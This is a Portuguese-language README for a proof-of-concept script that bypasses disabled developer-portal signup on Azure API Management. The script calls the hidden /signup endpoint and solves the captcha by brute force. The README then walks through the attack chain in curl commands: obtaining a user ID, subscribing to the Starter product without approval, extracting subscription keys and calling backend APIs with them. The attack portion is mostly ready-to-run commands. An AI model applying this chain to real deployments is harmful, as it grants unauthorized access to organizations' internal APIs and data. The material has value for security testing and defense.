
Script Python para contornar o registo no Azure APIM quando a UI está desativada, isto é diferente do CVE-2025-66390, pois não requer que configures nada entre inquilinos.
Um script de prova de conceito para contornar o cadastro desabilitado no portal do desenvolvedor no Azure API Management (APIM), invocando diretamente a API de registro do backend.
Os portais do desenvolvedor do Azure APIM podem ser configurados para desabilitar o cadastro self-service pela interface do portal. Em algumas implantações, o endpoint de API subjacente (/signup) permanece ativo e acessível mesmo quando o botão na interface é ocultado ou removido. Este script explora essa brecha ao:
/v2/captcha-challenge/signup com o desafio resolvido e os dados da contaTodas as entradas (URL alvo, credenciais, proxy) são solicitadas interativamente em tempo de execução.
CVE-2025-66390 (CVSS 9.8 Crítico) descreve uma bypass de cadastro APIM entre locatários: um atacante abusa de um locatário onde o cadastro está habilitado para registrar contas em um locatário diferente, onde o cadastro está desabilitado, manipulando o cabeçalho Host nas solicitações de API. A Microsoft classificou isso como um problema de configuração, e não uma vulnerabilidade de produto.
Isso não exige criar nenhum locatário cruzado; em vez disso, apenas usa o endpoint /v2/captcha-challenge para resolver o captcha em 75.000 iterações (em média)
python3 apim_signup.py
Solicita a URL alvo, os dados da conta, a senha (entrada oculta, exibida novamente para confirmação) e um proxy opcional.
Quando a solicitação de cadastro é bem-sucedida e o e-mail de confirmação chega, a cadeia completa de ataque é:
Clique no link de confirmação no e-mail de registro. Isso ativa a conta antes que a API de gerenciamento a autentique.
Acesse a API de gerenciamento do APIM com autenticação Basic (base64(email:password)) para obter seu ID de usuário interno:
curl -s "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/identity?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"id":"<user-id>"}
O campo id retornado é usado em todas as chamadas subsequentes à API de gerenciamento.
OU acesse /developer/identity?api-version=2022-04-01-preview <-- a versão não importa Uma interface será exibida para login; a partir daí você também pode obter o seu ID.
O produto padrão Starter acompanha approvalRequired: false, ou seja, nenhuma aprovação de administrador é necessária. Inscreva-se via PUT:
curl -s -X PUT "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>" \
-H "Content-Type: application/json" \
-d '{"properties":{"scope":"/products/starter","displayName":"Starter"}}'
# → HTTP 201 Created
Um e-mail de confirmação ("Sua assinatura do Starter") chega de [email protected].
curl -s -X POST "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub/listSecrets?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"primaryKey":"...","secondaryKey":"..."}
Use a chave primária como Ocp-Apim-Subscription-Key no gateway do APIM para fazer chamadas autenticadas ao backend:
curl -s "https://<service>.azure-api.net/<api-path>" \
-H "Ocp-Apim-Subscription-Key: <primaryKey>"
O acesso é determinado pelas APIs que estão no escopo do produto Starter — em uma implantação mal configurada, isso pode expor backends internos sem autenticação adicional.
Para mais detalhes, este artigo descreve muito bem a cadeia; basta ignorar a parte do locatário cruzado. https://www.praetorian.com/blog/azure-apim-signup-bypass/